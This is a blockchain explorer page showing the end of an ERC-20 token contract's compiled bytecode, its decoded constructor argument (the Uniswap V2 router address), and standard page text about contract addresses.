6111de90600561189b565b6111e891906118ba565b601555600b546014546064916111fd9161189b565b61120791906118ba565b600e55565b6001600160a01b0383166112705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108fc565b6001600160a01b0382166112d25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108fc565b60035460ff1615806112f657506003546001600160a01b0384811661010090920416145b6112ff57600080fd5b6001600160a01b038316600090815260208190526040902054818110156113775760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016108fc565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906113ae90849061186c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113fa91815260200190565b60405180910390a3610c0a565b30600090815260208190526040812054908190036114225750565b60155461143090601461189b565b8111156114485760155461144590601461189b565b90505b611451816114c9565b6016546040516000916001600160a01b03169047908381818185875af1925050503d806000811461149e576040519150601f19603f3d011682016040523d82523d6000602084013e6114a3565b606091505b5050505050565b60006114b6828461189b565b9392505050565b60006114b682846118ba565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114fe576114fe6118dc565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561157c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a091906118f2565b816001815181106115b3576115b36118dc565b60200260200101906001600160a01b031690816001600160a01b0316815250506115fe307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610a72565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac9479061165390859060009086903090429060040161190f565b600060405180830381600087803b15801561166d57600080fd5b505af11580156110f9573d6000803e3d6000fd5b600060208083528351808285015260005b818110156116ae57858101830151858201604001528201611692565b818111156116c0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a6f57600080fd5b600080604083850312156116fe57600080fd5b8235611709816116d6565b946020939093013593505050565b60006020828403121561172957600080fd5b81356114b6816116d6565b60008060006060848603121561174957600080fd5b8335611754816116d6565b92506020840135611764816116d6565b929592945050506040919091013590565b60006020828403121561178757600080fd5b5035919050565b600080604083850312156117a157600080fd5b50508035926020909101359150565b600080604083850312156117c357600080fd5b82356117ce816116d6565b9150602083013580151581146117e357600080fd5b809150509250929050565b6000806040838503121561180157600080fd5b823561180c816116d6565b915060208301356117e3816116d6565b600181811c9082168061183057607f821691505b60208210810361185057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000821982111561187f5761187f611856565b500190565b60008282101561189657611896611856565b500390565b60008160001904831182151516156118b5576118b5611856565b500290565b6000826118d757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561190457600080fd5b81516114b6816116d6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561195f5784516001600160a01b03168352938301939183019160010161193a565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207479aad86dc32728f55d75eb36366f6f3ef9f9a62a61f64fd3781a13255b9db364736f6c634300080d0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : _uniRouterAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 26 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.